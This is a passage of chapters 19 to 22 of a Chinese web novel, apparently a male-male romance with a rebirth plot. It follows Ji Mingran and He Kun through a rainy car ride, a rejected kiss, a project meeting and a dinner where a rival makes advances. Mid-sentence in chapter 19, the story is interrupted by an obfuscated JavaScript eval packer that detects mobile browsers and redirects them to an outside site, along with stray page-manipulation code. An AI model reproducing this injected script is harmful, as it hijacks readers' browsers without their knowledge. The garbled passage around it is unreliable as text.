纪明冉昨晚到的兰临,本来不想过度投入精力,只是打算为准备开发的项目把关。 为了了解目前项目的前期工作开展情况时,他将专组的工作人员叫来开了简短会议,顺带了解公司近期的经营情况,结果做起来就没收住手,一连两夜的加班。 直到肃山第二次来催,纪明冉才堪堪从公司战略文件与业务年报中回神,他将银丝眼镜取下,揉了揉眉心道:“知道了,我暂住的公寓安排好了吗?” “安排好了,在靠近悦安商业中心与小山口的居中方向,距离市中心不远,安静也方便。” “嗯,行,走吧,找家餐厅,简单吃些。”纪明冉起身,窗外已然月色当空,想起这阴差阳错到他手中的项目,千丝万缕都引向一个人,贺琨。 当然也只是猜测,不过他只需要耐心等待,相信真相很快就会浮出水面。 肃山沉默地驾驶着车辆,纪先生这两天连轴转,应当已经很累了,他本想安静些,让纪先生在车上小憩一会。 却接到了肃江的提示:有人跟踪,吉光,黑色K19G3 肃山朝后视镜看去,搜寻了几秒才在车流中发现那辆黑车,他驾车连续转了几个弯道,那辆黑车方才朝左侧方轻点油门离去,这把操作看得肃山丈二摸不着头脑。 “已经半小时了,怎么回事?”纪明冉睁开双眼,稍微恢复了些精力,看了看时间开口问道。 肃山老实回答:“有一辆跟踪的黑车,不紧不慢也没什么出格的举动,刚刚才甩开。” 纪明冉继续:“车牌?” “肃江那边已经记下来,是吉光旗下的高端轿车,K19G3。” 吉光,D国汽车品牌,安全性和私密性极强,高端系列可以定制改造。这款汽车的外形十分低调平凡,放在车流中根本不打眼。 纪明冉一听那串数字,答案几乎可以算做明示。 他缓缓闭上双眸,睫毛在眼下投出细密阴影,城市亮丽的霓虹灯从窗外照进来,飞速流动的光条一道接着一道,划过那张冷白如玉的面庞。 纪明冉唇角微微弯起,似笑非笑,教人辨不清他心底的情绪,最后只听见一声叹息般的呢喃:“啊...不用管,一只粘人的小疯狗罢了。” 19. 第十九章 自作多情 宽松的黑色坎肩被汗水略微浸湿,贺琨撩起衣摆擦了擦落在睫毛上的汗水,无意露出了精瘦的腰腹。 一道触目惊心的红印赫然在目。 想来应当是搏击过程中不小心碰撞到的,只是那轮廓形状意外巧妙,恰似被什么宽厚手掌狠狠把住过。 贺琨不以为意,自顾自地踏出训练室,衣摆随着步伐晃悠,隐约露出薄韧的肌肉轮廓,在白炽灯下散发着暧昧的光泽。 他边走边解开缠在手上的绷带,指关节微微泛红,整个人带着激烈对抗后的野性与疲惫。 “喂,阿琨,明天来吗?” 说话的人是位潮流的前刺发型男青年,黑色的纹身占据了半臂,断眉透着野劲,浑身写满不易近人,但笑容却是很阳光。 这位叫阿琨的青年是前段时间刚来的,动作规范流利,手脚灵活,看得出具备一定基础。 长相冷峻,性子却意外的安静,反差感十足地吊人胃口。 张阳最近比较喜欢和他对练,只是这人时而来时而不来,观察不出什么规律。 贺琨没有回头,声音染上懒意,有些沙哑:“看情况。” 他说完便提起墙边的挎包往洗浴室走去,而墙壁上的电子钟刚好跳至22:00。 贺琨简单冲洗完毕,换了身干净的衣裳,很快离开了散打馆。 兰临市的晚风依旧带着暖意,今晚空气却格外的闷热,似乎可以从中拧出一把水珠。 离开了室内的空调,贺琨浑身燥热,连带着眉宇间透出几分不耐。 他站在路边等车,但手机界面上显示司机距离此地还有3.6公里。 时间不算晚,也并非是高峰期,为什么附近会没有车。 贺琨不理解,这段时间确实有些倒霉。 包括但不限于他的车本本分分地停在车场意外惨遭横祸,不知为何被隔壁车位的司机大面积刮损。 结果送去品牌4S店修理时,兰临市的4S店又恰恰好缺少那么几样关键零件。 于是轿车只得被送回了首都,而冯平给他重新准备的车辆如今还在运输途中。 —— 路面上的车辆来往不停,迎风呼啸而过。 一位穿着白色短袖青年倚着路边灯柱,藏青短裤下修长双腿微微交叠。 裸露的皮肤在暖黄光晕里泛着柔光,眉眼锋利如刃,把玩着手机的动作带着几分漫不经心的矜贵。 “咦,那不是贺二先生吗?” 肃山驾驶着车辆送纪明冉回公寓休息,看着路边眼熟的身影,一不留神将心中的疑问说了出口。 纪明冉抬眼看去,果然是。 大晚上穿这么少,站在路边也不知道干什么。 肃山的话已经说出口,索性继续道:“估计是没有车用,在路边打车吧,他跟踪先生,轻微刮擦了他的车以做惩戒已经算先生好心了。” 还好贺琨不在场,否则要是听闻此言,他的沉默定会震耳欲聋。 不知道肃山是如何定义“轻微刮擦”,贺琨首先不认可。 “回公寓。” 纪明冉从青年身上移开视线,表情疏离淡漠,仿佛路边之人与他没有任何关系。 肃山禁声,压下油门,车辆恢复正常行驶的速度,飞快地掠过街边的青年。 而此时,站在街边的贺琨只是低头刷着关于青芜涯的资料,完全不知道就在这短短几分钟内,他心心念念的人已擦肩而过。 一道闪电划破天空,紧接着闷雷滚滚,雨滴应声而落。 很快,雨水从天空砸落到贺琨手背,他抬头左右扫视,唯一可以避雨的只有前面不远处的公交车站。 可惜祸不单行,贺琨正准备拨打司机的电话,订单便在这一秒被取消了。 他没有多想立马跑去公交站台,不防雨势急切,几秒的功夫已经大到使人睁不开眼,等贺琨到达站台上时,身上的白色短袖已经湿透了。 还是叫云旗派个人来吧,他擦拭着手机屏幕上的水迹。 “贺二先生,请上车。” 清亮无波的声音隔着厚重的雨幕传来,贺琨看向身前停下的眼熟车辆,还以为是自己的幻觉,直到肃山的声音再次响起。 “贺二先生?” 贺琨回神,只觉得突如其来的暴雨都变得可爱起来。 纪明冉坐在车内,看着青年原本紧压的眉头缓缓舒展,眸光逐渐亮了起来,身后好像有一条毛茸茸的尾巴飞快地摇,傻乎乎的。 但又联想到贺琨的近期种种不端的行径,纪明冉在心里做出公平的总结,傻狗,又蠢又坏。 “可是我身上很湿。”贺琨知道纪明冉在,看似不在意地瞥向后排。 肃山闻言回头,准备询问先生的意见。 纪明冉没有说话,只是推开车门。 比贺琨先进来的是一阵潮湿而清新的雨水味道,那人显然不知道自己现在是什么模样。 落在他的视线里,先进来的是圆润挺翘的臀部,随后又弯腰将一个湿沉的挎包提放到脚边。 背部线条流畅,两枚小巧的腰窝若隐若现,但那条性感的背沟在湿透的衣物中却意外清晰。 贺琨将车门关闭,看起来是要回头转身向自己问好。 纪明冉忽地回想起首都酒店的夜晚,最后那株被啃噬到糜烂的红,现在应该恢复了,牙印应该也消失了吧。 他不着痕迹地从贺琨上身收回视线,阖上了那双不知不觉间浸上欲色的眸。 穿着白色衣服淋雨,是什么新把戏。 “不知检点。” 纪明冉冷声冷语,尽管满是责备之意,口吻却难得有些情绪。 只是车内光线不足,贺琨没办法从表情判断具体情况,而这没头没尾的内容更是听不明白。 完全无辜的他还以为是自己哪里又惹冉冉生气了,慌慌张张凑上前去,先认错再说:“对不起,把车弄乱了。” 随着青年的靠近,灼热体温一刻未停地透过潮湿的衣服传来,柔软的胸膛也几欲擦上胳膊。 而那人口中甚至还要粘粘糊糊地吞吐着那些乱七八糟的词语。 尽管如此,纪明冉依旧在遵守互不相扰的承诺,未曾睁开双眼说出第二句话。 行至中途,雨势渐小,肃山靠近路肩停下了车,随后打开车门,撑着把黑伞朝路边的店走去。 贺琨不知道纪明冉给他安排了什么事,只好收回目光再次看向闭着眼沉默不语的男人。 纪明冉能够那么及时地在暴雨中巧合出现,是不是也在偷偷关注他? 虽说那晚在纪宅前将话说得格外绝情,可实际行动还是善良又心软,不然自己也不会顺利地搭乘上车。 这会不会是纪明冉主动求和好的信号? 此时密闭的空间内只余二人,贺琨被脑海中迸出的暧昧猜测惹得指间轻颤,再难掩心头喜意,他整个像被泡进了蜜罐里,投向身旁之人的目光满是柔软。 好看,哪里都好看,纪明冉这个人完全长在了贺琨的审美点上。 他的视线顺着纪明冉高挺的鼻梁下滑,映入眼帘的便是那淡粉色的唇,圆润柔软,下唇微微丰盈,肯定很好亲的。 自从上次在纪明冉面前撒了野,再次面对心爱之人时,贺琨总会不经意间流露出些许真实的自我。 因着那些暧昧的猜想,他的心早就雀跃不已,贺琨想自己或许应该主动点,于是趁着纪明冉不察,飞速地在那人唇边舔吻一口。 纪明冉感受到唇边绵软的湿意,倏地睁开双眼,眸底翻涌着意味不明的情绪,显然没想到贺琨能如此放肆。 喉结在紧绷的脖颈间滚动,胸腔里涌上的情绪连自己都分辨不清,他发狠地捏住贺琨那只还未来得及撤走的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993800|178082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手腕往上一提。 贺琨这边也没想到纪明冉反应那么快,支撑着身体的手腕突然被举起,腕关节被捏得生疼也顾不上了。 失去支撑点的上身重心不稳,面部直直往纪明冉腿间扑去。 尽管心中满是困惑,他赶忙下意识地伸出另一只手扶在了前座椅背上,将自己悬停在空中。 他借机翻身下压,长腿勾住椅侧要将纪明冉困在方寸之间。可就在他即将得逞的刹那,纪明冉手肘猛地撞向他肩头,抬膝精准地戳向他膝弯麻穴,动作行云流水。 无奈空间狭窄,尽管将纪明冉的反击尽收眼底,此时此刻也没办法躲开了,贺琨再回神时已经跪在了纪明冉两腿之间。 纪明冉的手掌宽实,虎口略带薄茧,修长的手指借位,将他的两手死死固定在前座的头枕的缝隙处,胸膛也被迫挺起,伴随着急促的呼吸起伏。 一只冰凉的手抬起来,毫不客气地捏住贺琨的下巴,迫使他不得不仰起头,指腹陷入柔软的皮肉,力道依旧很重。 纪明冉附身的阴影将贺琨完全笼罩,凛冽的冷杉味扑面而来:“找死?还是找c?” 这位再矜贵不过的贵公子,平日里如同高岭之雪般剔透清冷,开口竟出乎意料地粗鄙,一字一句砸在贺琨的心口,整个人瞬间染上难堪的绯色。 直至此时,贺琨才意识到自己可能犯了错,他会错意了。 胸腔像是被一只无形的手紧紧掐住,闷得发慌,那些他以为的浪漫情节,此刻都成了可笑的误会,自嘲的笑意漫上嘴角,却比哭还难看。 他低垂下头,后知后觉现在两人的姿势很危险,湿透的衣服更是显得欲盖弥彰,顾不上负面情绪的发酵,贺琨尝试着挣扎起来,只是不想看起来这么被动。 可纪明冉像是察觉了他的心思,那只压制着他手腕的手掌更加用力,尖锐的疼痛传来,贺琨随即倒吸凉气,为了缓解痛意他不得不再次挺胸,柔韧的背部几乎拉成一张弓。 “疼,纪明冉。” 若是换在从前,都那么可怜了,定会换来几枚安抚的啄吻。 可纪明冉没有说话,半张脸被阴影遮掩,眸星如雪亮,一抹意味不明的浅笑透着蚀骨的寒意:“下车。” “外面还在下雨。” 贺琨试探着开口,原本深邃狭长的眼水波流转,像一汪湿漉漉的清泉,全是挽留。他知道自己错得离谱,突兀的举止落在纪明冉眼中不知是多么的放荡轻浮。 纪明冉闻言,手上的力道继续加重,已经到了贺琨无法承受的地步,他本来就怕疼,于是连忙开口道:“是你,你说要送我回家的,疼疼疼啊......” 说到后面,底气越发不足,声音也变小了。 “哦,那很遗憾,我现在改变主意了,出去。”纪明冉终于开了金口,缓缓松开禁锢的力道。 意料之中的拒绝。 纪明冉连个眼神都没施舍给他,只是慢条斯理地将双腿交叠,那双骨节分明的手安静地搭到了小腹上。 仅此一眼,看得贺琨手腕和下巴都在幻痛,他赶忙收拾自己的东西,好早些逃离这里,以免再次回想起自己刚才那般自作多情的下贱模样。 “我换好衣服马上就走。”贺琨退回后排角落中阴影处低语,鸦黑的睫毛微微震颤,整个人如同摇摇欲坠的玻璃似乎一碰就要碎了。 他迅速地往包里拿出那件训练时候穿的背心,脏是脏了些,但好歹是件黑色的,淋了雨没那么尴尬。 青年背对着车内,动作很麻利,纪明冉回头瞥去时,借着车外的光源无意看见了雪白皮肉上的红痕,就落在那段薄韧的腰间,应当是新的,不是他弄的。 作祟的占有欲在纪明冉心间纵了一把妒火,联想起刚才贺琨主动急切的模样,他周身腾起刺骨寒意,声音沙哑得仿佛淬了冰:“你就一刻也管不住自己了是吗?贺琨。” 20、第二十章 合作伙伴 纪明冉说完眼中闪过几分错愕,可说出的话如同覆水难收,他一反游刃有余的常态,机械地合上牙关。 类似的事,从前见得很多,管到已经厌倦。 贺琨就天性如此,爱玩爱闹,喜欢刺激与新鲜感,他的感情不具有排他性。 纪明冉默默地收回视线,将外露的情绪收起,仿佛长叹了一口气,重拾理智,再次恢复平静。 他无奈地捏了捏山根处,工作整天后的酸涩不适略微得到缓解,方才疲惫地开口道:“一时失语,切勿挂怀,请回吧。” 贺琨顺着纪明冉视线,很快了然于心,其实他刚才简单淋浴时就已经看见了这道淤青,但没想到会引发这般的误会,将衣服放下后,连忙解释道:“是锻炼的时候不小心碰撞到的,我...我,”说着说着,急促的语气变缓,眸光也逐渐黯淡,只剩下聊胜于无的坚定,“我只会属于你,只和你在一起。” 贺琨不敢说,尤其是在刚刚发生如此尴尬的误会后,他再三纠结,话语到口边打了几个转,最终还是选择清晰地表明心意。 贺琨在无人可见之处,费尽心思行至纪明冉身前,无爱宁死。 “随便你。”纪明冉依旧不做回应,如同旁观者般冷眼看着贺琨将自我献祭焚烧。 他要占有时,贺琨舍弃不下自由;他放手时,贺琨却戴上了以爱为名的枷锁。 纪明冉自认读懂许多人,却看不出贺琨想要的是什么。 如果他们注定要无休无止的纠缠,因灵魂的悸动结出苦果,那么纪明冉希望对方和自己都能赶快失忆,或者做台没有感情的机械更好。 肃山回来了,咔嗒拉开车门,完全不知道短短片刻车内的氛围早已天翻地覆,“先生,已经取到了。” “嗯,伞给贺琨。”纪明冉吩咐道。 肃山心中困惑,此处距离贺二先生居住的酒店还有几公里,走过去怕是还要花些时间。 他按下不解,听令行事,转身拉开后排的车门,侧身低头,将黑色雨伞的伞柄递至贺二先生手边:“贺二先生,慢走。” 贺琨接过雨伞,踏入淅淅沥沥的小雨中,目送黑车启动,碾碎积水而去,攥着伞柄的指尖白到失去血色。 他强掩心中哀伤,告诉自己这只是纪明冉经历过的万分之一,是偿还。 —— 五天后,贺琨从青平市再次返回兰临市。 自纪明冉和纪柏达达成共识,后者在青平市行事便“一路绿灯”,很快竞标成功,顺利拿下了青芜涯项目,贺琨此次便是作为首席设计顾问参加立项后的首次会议。 而在此之前,纪柏达已在兰临市小山口筹备许久,做准了两边都想吃,两边都想拿的姿态。 为了将纪明冉顺理成章地小住兰临市,贺琨和纪明冉夜宿酒店后的第二日静候时机、果断出手,他委托冯平隐秘约见纪柏达,可谓威逼利诱。 小山口历保建筑改造事宜如今正在审理,贺琨先是利用此事暗中威胁。 毕竟从测绘建档、信息采集、划定保护范围等流程到项目实际推进,期间关卡重重,并不是三两句话能够说得清楚的。 在纪柏达动怒之前,他再次拿出青芜涯的项目以作担保,放弃了所有获利,并且转赠所享股份,承诺不会从中谋取任何私利。 纪柏达开始犹豫了,在饭桌的对面,他直勾勾地看着贺琨,这个年龄比自己小上许多的年轻人:“别告诉我,你就为了个纪明冉?” 贺琨低头浅笑,棱角分明的面庞没入阴影,稍显柔和,却始终没有正面回答纪柏达的问题。 两人再次对视时,纪柏达探向那对深咖色的瞳孔,里面满是关怀体贴,像是把对方的利益当成自己的利益谋划。 一副可靠可信的模样,像极了某个人做派,但是纪柏达一时之间竟也想不起来到底是像谁了。 “达哥,纪焯哥的葬礼,我说句实话,您先别生气,那确实是办得不漂亮,”贺琨端起酒壶,将纪柏达面前的酒杯缓缓满上,“想来纪叔也不开心,以退为进,岂不是更好。” 纪柏达看着为自己添酒的贺二,明明做足了下位者的姿态,却字字珠玑,使人动容。 但他是商人,从不相信世界上有免费的午餐,他叼着唇间的香烟轻松道:“纪明冉接手小山口项目和我有什么不同,转来转去,不都是纪贺两家的合作,莫非小贺还是个痴情种?我看那小六也不稀得你啊。” 贺琨眉宇间闪过一丝戾气,转瞬即逝,拇指与食指卡住酒杯小巧的杯身轻晃几下,抬起杯底迎上纪柏达:“达哥,那么这事?” 纪柏达先是沉默了几秒,才懒散随意地端起酒杯回碰,笑得颇有深意:“好,成交,如你所愿,小贺可不要后悔哦。” 贺琨目不转睛地看着此人,缓缓扬起嘴角,眸底黑沉无光:“成交。” 时间回到现在,贺琨刚返回兰临市,随便挑选了一家餐厅吃晚餐,他切割着盘中的牛扒,有一下没一下地翻弄着,味道实在不怎么样。 冯平昨日便已经到兰临市等候,贺琨近段时日实在是有些忙,便吩咐冯平将手中的工作交接完毕后立马过来。 此人本是贺青峰自幼给他培养的亲信,但是因为贺琨年少时过于闹腾,不愿意任何人接近,尤其是这种什么乱七八糟的,他认为是封建古板的人和事,贺琨最懒得应付。 加之还有部分原因是贺父,这个男人的终局便是死于亲信的构陷,所以冯平向来不受贺琨待见。 直到30岁的贺琨重生到19岁那年,在他的默许下,冯平的工作重心才从集团秘书处逐渐转移,名正言顺地成为贺琨的私人助理,一切以贺琨为优先级。 而贺琨此次作为小山口古建的专项人才队伍负责人,午饭后将带着几位团队成员前往坤和集团下属恒辉公司进行简短会议,审议团队编制的遗址保护发展规划初稿。 恒辉作为会议主办方,提前安排好了接待、场地、布置等相关事宜,贺琨刚到大厅,便有一位职业女士热情问候并引路。 会议室内,参会人员已经基本到齐,贺琨不算来得早,但也不是最晚的那批。 明亮宽敞的现代化会议室内,纪明冉已经入座,安静地看着手中的文件。 左一面熟,是吴叔的首席助理,左二是位英俊的男人,看起来年纪与纪明冉相仿,应当就是那位名气较大的商业新贵。 贺琨按照名牌,拉开椅子对号入座,纪明冉听见动静抬头看了一眼,眼神平淡无波,似乎两人并不相识。 这也在他预料之中,毕竟纪明冉怎么看都不是会将私情带到职场上的人。 况且贺琨不用猜都可以知道,纪明冉根本也不想和他产生什么超出合作关系以外的更加亲密的关系。 人到齐后,大家友好地问好寒暄,一位年轻的实习生上前将贺琨的办公电脑与投屏幕布连接,准时开始会议。 肃山主持,纪明冉首先做简短开场发言,流程很快便到贺琨。 他难得地带上一副金丝眼镜,不徐不疾地将初稿呈现在会议屏幕上,修长的手指整理纸质文稿时隐约可见薄茧,想来是因为常年执笔。 深灰色西装利落挺括,领带夹在灯下泛着冷冽的光,衬衫扣工整列到第一枚,喉结随着说话的节奏在衬衫领口处滚动, 干练禁欲,台风如松,讲解清晰而简洁。 但过度的正式反而容易引起邪念,纪明冉看着这位再熟悉不过的枕边人,除了感悟到对方原来已经是位成年人外,还有股说不清道不明的欲念萦绕心间。 但是,没有但是,纪明冉依旧是纪明冉,他收回视线,理性以绝对优势结束心中的旖旎。 会议顺利结束,纪明冉起身离开,他接下来还有其他安排,这场会议只是日程中的一项。 贺琨侧眼轻瞟,那人背影很快消失在拐角处,那名实习生正在关闭设备。 他上前礼貌询问公司的抽烟区,很快得到引路,等实习生走远,贺琨拿出西装外套中的烟盒和打火机,点燃香烟,后面传来皮鞋敲击地面的闷沉声响。 他眉骨下一双眼睛骤然亮起,像冬夜燃起的篝火。 “贺二少,久仰大名。” 贺琨听声便知不是他所期待的人,于是很快调整好情绪转身回应,表情有些敷衍冷淡:“陈先生,何事?” 方才初见时,贺琨便觉得这位陈深像极了电视剧里事业有成的、魅力多金的霸道总裁。 此时再见,贺琨依旧没有改变他的观点,陈深长相算不上绝色,但确实算得上“老总”中格外清爽的一位,利落正气,身材不错。 可惜事实就是有钱人与有钱人之间也分个三六九等,正如纪家门第是豪门中的首席,那么贺琨的出身自然也会是这位英俊富一代可望不可及的存在。 无关能力,只关乎投胎技术,或许再积累几代人的努力也行吧。 男人丝毫没有介怀贺琨的淡漠,扬着潇洒的笑容,半分打趣半分认真: “今天见了贺二少,果然和从前天差地别,怪不得传闻都说您变化很大。我反倒觉得此话说的不对,依我看,这传闻的遣词太过保守哈哈哈。” 陈深笑眯眯的,和气极了,阿谀奉承的话在他口中说出来并不显得油腻,语气诙谐幽默,神态不卑不亢。 21、第二十一章 望得垂怜 贺琨现在不想听这些场面话,敷衍回应:“谢谢。” 冷淡已经明晃晃地摆在了台面上,陈深不语,只是玩味地挑挑眉,在对方的烦躁前,快速将话题拉入重点: “今晚我攒了个局,邀请纪先生、吴先生和大家,不知贺先生可否赏我个脸面一同去热闹热闹。” 贺琨听见熟悉的名字,没有什么犹豫直接应下,可能是爱屋及乌,对这个商业新贵陈先生也多了几分耐心。 两人又闲聊了几句,直至香烟燃尽,陈深有事先回了室内,而他站着吹了吹风才离开。 可就在返回会议室拿回物品的途中,楼梯廊口的拐角处,他看见了本不应该出现在此时此地的人,纪明冉。 那个位置正对抽烟区,但抽烟区看不见那个位置,巧妙的遮拦后,可以说视角是单向的,并不熟悉大厦构造的贺琨浑然不知。 他只觉得对方应该大概是在看着自己?正准备笑着回应,却见纪明冉眼神阴沉。 贺琨忽地后背一虚,明明没做什么亏心事啊。 直至纪明冉随着说话的动作略微侧身,露出一抹熟悉的衣角,看颜色应当是刚才还在和贺琨交谈的陈深,他才反应过来,自己许是看走眼了。 刚才贺琨以为的对视,可能只是光线的原因吧,纪明冉怎么会为自己停驻视线呢,他躲着自己还差不多。 贺琨不以为意地笑笑,正准备转身离开,却听见陈深那极有磁性的嗓音,就是和小说里的霸总差不多,如大提琴般低沉悦耳。 “学长,许久未见,你送给我的腕表,我一直都戴着。” 贺琨脚步停滞在半空,整个人直接炸了毛,心里已经骂骂咧咧上了。 绿茶男,看不出来高高大大的一个男人,私底下还玩这套矫揉造作的姿态。 他要过去盯着陈深这个王八蛋。 至于刚才对陈深建立起来的良好初印象,在那瞬间全部推翻,贺琨脑海中只剩一个想法,这人要插足他和纪明冉的感情! 贺琨生气,可是考虑到纪明冉确实是很优秀,家世好,长相更是世界第一,能力也是世界最强是吧? 是的。 这么优秀的人,怎么会不惹人喜欢呢?想着想着,他又如同被暴雨打到焉巴路边野花,委屈地收回嚣张气焰,装作不在意地走向两人。 “好巧,纪先生,陈先生,你们接下来还有什么事吗?”可以说是十分生硬的加入了。 纪明冉不说话,陈深也丝毫没有被戳破的尴尬,只是和气笑着摇头:“没事没事,只是和学长寒暄叙旧。” “哦,你俩一个学校?” 贺琨声线冷到要冻起来,当谁不是和纪明冉是同所学校毕业的? 那他就读的仟华设计院,也是上辈子纪明冉选择的学校呢。 贺琨继续强行插入两人交谈,可惜每个话题都尴尬收尾,显然这两人有事,贺琨站在这里不方便他们交谈。 在纪明冉表情不耐之前,他还是自觉地离开了,眼中满是对陈深的警惕,以及对纪明冉的不放心。 等人走远,纪明冉才看向这位自己在l国上学时的老同学,罗德庄园出资帮扶的孤儿,有些莫名其妙,以及同类相斥的恶心:“疯了?” 陈深注视着贺琨离开的方向,人已经消失不见许久,才缓缓收回视线,他从外套中拿出一盒香烟,正巧是贺琨近期喜欢的牌子。 “journeysendinloversmeeting.”陈深说完又走到窗前,抽出一支点燃:“我喜欢上这位有趣的贺先生了,无奈他的眼中全是你,我不得采取些手段?” 陈深再次看向纪明冉时已经挂上了笑意,像是在开着什么暧昧的玩笑,眸光深处却在认真观察着纪明冉的表情。 如果纪明冉展现出一丝对贺琨的占有,那么他将收手,但是这位老同学并没有什么反应。 陈深放心了,故作轻松道:“学长魅力依旧无人可敌,看来我追求贺少爷得费好些功夫了。” 纪明冉垂眸,指尖无意识摩挲着手中的文件。 抬眼时,暮色正漫过这座钢筋丛林,将座座大厦染成暖金色调,天际线那头掠过两只飞鸟,一前一后,相伴相持,他不耐烦地移开视线:“贺琨不是你能取乐的对象。” 陈深将表情收敛,正经起来,最终有了传闻中叱咤商场的新贵模样:“你怎知我不是认真的?” 陈深步步试探,纪明冉不想表现出异常,最终只是将手中的文件紧了紧,在纸张背后留下浅浅的指甲印痕。 主动低头打破僵持的人还是陈深,他对于人情世故向来拿捏得妥当:“不说这个了,你这几年势头很猛,女爵那边想把你再次叫回去。” 纪明冉亡于27岁,重生于16岁。 一切尚未开始,他凭借着出色的能力和记忆优势大展身手,帮助母亲重振菲伦泽家族,而他自己也走上了完全不同的人生道路。 上一世他回国时是孤独自由的个体,而这一次他身后站着罗德庄园的势力。 女爵本不愿意放纪明冉归国,单纯从利益的角度考量。 纪明冉却有着必须归国的理由,他以打开国内市场为诺,与母亲互利互惠,以做交换。 谈不上什么亲情,只是因为她看中了更大的利益,所以纪明冉的归国资讯在那年越炒越烈,回归得强势逼人。 如今,纪明冉依旧会与罗德山庄偶尔联系,自然也知道母亲最近生意上遇见位强有力的竞争对手,但是与他无关:“哦,母亲定能逢凶化吉。” 陈深明白这不过是句漂亮的场面话罢了,没什么好说的,他依靠女爵的资助离开孤儿院,学习深造,重归故土行至今天,很多东西纪明冉可以不做,但是他必须为菲伦泽家族做。 —— 晚饭定在一个比较安静私密的会所,纪明冉果然在。 今天中午未出面的吴叔也在,除去几位面生的政客,在座中吴叔资历最老,纪明冉身份最贵。 贺琨不喜饭局,进了门和长辈打了招呼便往角落里坐,毕竟这局的主角并不是他,而他自己的目的也不在于交际,安静做个陪衬就好。 但吴叔一见他便亲热,贺琨和吴云旗同龄,两个打小就黏在一块玩泥巴踩池塘,大了些就去逃课泡吧,再大些那自然是玩得更开,形影不离。 所以换句话而言,贺琨就是吴叔看着长大的孩子,算得上半个多的儿子,他带着长辈的慈爱:“哎来来来,坐到吴叔这边,还是小贺出息,云旗那傻小子还没开窍呢。” 贺琨这人招长辈疼爱,吴叔开了口,换个座位也不算什么事,他步伐一转:“云旗也有云旗的优秀,到时候您可别眨眼。” 吴叔哈哈一笑,看向众人:“瞧这孩子,哄我开心呢。” 桌上众人就此拉开话题,聊得如火如荼,贺琨专心吃饭,这家店饭菜味道不知为何意外地合他胃口,贺琨对陈深的讨厌淡了点,不过只是一点点。 饭局很快便开始推杯换盏,贺琨借口最近身体不适,饮酒怕搅了大家的兴致。众人摸不清底细,掂量着也不敢多劝。 贺琨背靠大树,乐得清闲,几轮酒过后众人已经开始有些醉意,话变得多起来,内容也愈发出格,空气里浮沉着醺然气息。 唯有纪明冉依旧端坐,相貌过于惊艳,微醺后如同眉梢眼角染上柔情,恰似高山之雪莲,淡淡的,清浅的笑。 “贺二少叫起来未免太过生疏,不知道我可不可以唤你一声阿琨?” 贺琨的思路被突如其来的搭讪打断,陈深和纪明冉同岁,年龄自然比贺琨大,随着长辈叫小贺,他自知不够格,便叫上了更显亲昵的阿琨。 很多与贺琨差不多大的少爷公子们也都是这么叫他,比如吴云旗。 贺琨不解但心中升腾起防备,难道此人是想化解他的敌意,趁他不备,和纪明冉重燃旧情? 如何称呼,对他而言关系不大,贺琨也不会因此对陈深好。至于有没有恶意的冒犯,一般人也不敢得罪贺琨,于是他连都没有回头:“随便,称呼而已。” “阿琨,你喜欢男生还是女生?” 贺琨终于看向身旁坐着的男人,指尖轻叩桌面,眼神锋利,眉骨下压带出一片阴影。 陈深逾矩了,最起码在当下的场合,这个话题很突兀。 “陈先生,你醉了。” 陈深看见贺琨的注意力终于来到自己身上,不着痕迹地朝纪明冉佯装得意地轻笑。 因为在贺琨视线落在他身上时,纪明冉也开始了对他们的观察。 不过陈深不在意,他专注地看向贺琨,话题再次跳跃:“我见过你,你不认识我。” 这是一句陈述句,内容平平无奇,太多人只能仰望着贺琨与贺琨身边之人不是吗? 这就是常态,对于贺琨而言如同人要吃饭一般正常。 “所以呢?”贺琨非常直接,面对陈深这样的下位者,弯弯绕绕才是浪费时间。 他反问,但不是想听到陈深的解释,只是一种与生俱来的本能。 潜意识地对陈深进行服从性测试,没有恶意只是威吓,傲慢却纯粹。 “老油条”陈深十分配合,只为讨贺琨欢心:“所以希望得到阿琨的垂怜,哦,不,垂青。” 22、第二十二章 情敌对峙 陈深就坐在贺琨身旁,他将贺琨闻言后的微怔尽然收之眼底。 真真是更加惹人疼爱。 贺琨永远不会知道,他那不可一世的厌世长相,露出如此呆愣迟钝的可爱表情,只会挑起追求者的破坏欲和爱欲。 显然没想到陈深如此放肆,他的口误不像是口误,更不如说是故意地调弄戏耍,贺琨愠怒,如同看见了万般油腻之物。 此刻,他只想打开手机录音,然后到纪明冉面前去,告诉冉冉:看看你的学弟,他三心二意,他油嘴滑舌,他心怀不轨,老婆你不要理他。 “陈深,听说你最近有意进军影视圈?” 纪明冉声音响起,落在贺琨此时的耳中如闻仙乐,他直接偏头,索性不再搭理陈深。 陈深将笑意收敛起来,花花孔雀暂停了开屏,游刃有余地切换了模式,看向觥筹交错的交际场:“小打小闹罢了,各位见笑。” 坐在圆桌对面的一位男人,醉醺醺的,脸面赤红,舌头都在打摆:“莫不是看上哪位小明星了?” 众人暧昧起笑,心照不宣。 晚上10点左右,饭局终于结束,陈深安排了下一场,邀请众人一同前去,虽说三推四就的,但基本最后都去了。 唯有纪明冉确切有事,在门口歉意告别,除了吴叔劝了两句,其余人并未敢阻拦。 那贺琨自然也不去了,重生之后他从不沾染酒色场所,于是自顾自地跟上纪明冉:“明天早上,我给你带早餐好不好?我新学的,一点也不当误时间。” 纪明冉步伐未停,继续往前走,贺琨大步跨上前,侧身一拦:“我很能干的,你和我一起吃早餐,中午我干活就会更快。” 说得纪明冉仿佛是什么工作加速器,情绪亢奋剂似的,他总算有了些反应,但更像是无奈,带着宠溺的无奈。 不过夜色朦胧,纪明冉不自觉的流露无人察觉,甚至包括他自己。 确实,贺琨负责的环节决定项目开工关键点,如果审批流程时长过长,保护规划不利,管理成本则会持续增加,那么投入也同时持续加大,后期若是回血不足,这个项目将会烂在手中。 “你的意思是要公报私仇吗?” “当然不是,”贺琨连忙摇头,微微仰头看向纪明冉真诚大方道:“哪有仇啊,明明就是……算了。无论何事,只要接手,我都会认真负责,只是如果能多见见你,我就更有动力了。” 纪明冉绕开贺琨:“希望贺先生说到做到。” 